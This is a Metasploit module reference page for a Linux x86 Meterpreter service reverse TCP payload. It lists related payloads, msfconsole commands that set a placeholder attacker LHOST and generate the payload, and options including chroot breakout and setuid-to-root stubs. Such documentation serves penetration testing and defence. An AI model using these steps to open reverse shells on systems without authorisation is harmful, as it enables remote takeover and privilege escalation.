Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
Linux Meterpreter Service, Reverse TCP Inline
Stub payload for interacting with a Meterpreter Service
Rank
- Normal
Authors
- hdm < hdm [at] metasploit.com >
Similar Modules
- payload/linux/x86/adduser
- payload/linux/x86/chmod
- payload/linux/x86/exec
- payload/linux/x86/meterpreter/bind_ipv6_tcp
- payload/linux/x86/meterpreter/bind_tcp
- payload/linux/x86/meterpreter/find_tag
- payload/linux/x86/meterpreter/reverse_ipv6_tcp
- payload/linux/x86/meterpreter/reverse_tcp
- payload/linux/x86/metsvc_bind_tcp
- payload/linux/x86/shell/bind_ipv6_tcp
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/linux/x86/metsvc_reverse_tcp
msf payload(metsvc_reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(metsvc_reverse_tcp) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/linux/x86/metsvc_reverse_tcp
msf payload(metsvc_reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(metsvc_reverse_tcp) > generate
Module Options
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| AppendExit | Append a stub that executes the exit(0) system call |
| AutoLoadStdapi | Automatically load the Stdapi extension |
| AutoRunScript | A script to run automatically on session creation. |
| AutoSystemInfo | Automatically capture system information on initialization. |
| EnableUnicodeEncoding | Automatically encode UTF-8 strings as hexadecimal |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| PrependChrootBreak | Prepend a stub that will break out of a chroot (includes setreuid to root) |
| PrependSetresuid | Prepend a stub that executes the setresuid(0, 0, 0) system call |
| PrependSetreuid | Prepend a stub that executes the setreuid(0, 0) system call |
| PrependSetuid | Prepend a stub that executes the setuid(0) system call |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
